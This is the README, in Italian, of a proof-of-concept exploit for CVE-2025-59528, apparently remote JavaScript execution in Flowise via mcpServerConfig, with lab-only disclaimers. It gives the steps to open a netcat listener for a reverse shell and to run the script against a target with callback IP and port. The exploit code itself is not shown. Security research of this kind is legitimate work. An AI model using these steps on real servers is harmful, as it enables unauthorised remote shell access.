
Il PoC di CVE-2025-59528
Proof of Concept per la ricerca su CVE-2025-59528 in un ambiente di laboratorio isolato.
[!WARNING] DISCLAIMER
Questo progetto è destinato esclusivamente a scopi educativi, ricerca sulla sicurezza e test di sistemi che possiedi o per i quali hai ricevuto esplicita autorizzazione a effettuare test.
Non utilizzare questo PoC contro server di terze parti, servizi pubblici o infrastrutture senza il permesso del proprietario.
L'autore non è responsabile per danni, perdita di dati, interruzioni del servizio o conseguenze legali derivanti da un uso improprio di questo progetto.
Questo PoC dimostra il potenziale impatto di CVE-2025-59528, una vulnerabilità che riguarda l'elaborazione di mcpServerConfig controllato dall'utente in Flowise.
In determinate condizioni, la vulnerabilità può consentire a un attaccante di eseguire codice JavaScript arbitrario nel contesto lato server.
Verifica sempre la versione esatta dell'installazione di destinazione prima di effettuare test.
requestsInstalla la dipendenza Python:
pip install requests
Esegui netcat per ottenere una shell:
nc -lvnp <YOUR_PORT>
Esegui il PoC con:
python3 poc.py \
-t http://TARGET:PORT \
-o api_key \
-i CALLBACK_IP \
-p CALLBACK_PORT
| Argomento | Descrizione |
|---|---|
-t, --target | URL dell'istanza di test Flowise |
-o, --api_key | Chiave API |
-i, --ip | Indirizzo IP della macchina di test |
-p, --port | Porta utilizzata dall'ambiente di test |
Il test deve essere eseguito all'interno di una rete virtuale o di laboratorio isolata.
┌──────────────────┐
│ PoC Machine │
│ │
│ Python PoC │
└────────┬─────────┘
│
│ Isolated Network
│
┌────────▼─────────┐
│ Flowise 3.0.5 │
│ Test Instance │
└──────────────────┘
Non esporre un'istanza Flowise volutamente vulnerabile direttamente a Internet.
Se stai eseguendo una versione vulnerabile di Flowise:
Utilizzando questo progetto, riconosci di essere l'unico responsabile del rispetto di tutte le leggi e i regolamenti applicabili.
Utilizza questo PoC solo contro sistemi che possiedi o per i quali hai ricevuto esplicita autorizzazione a eseguire test di sicurezza.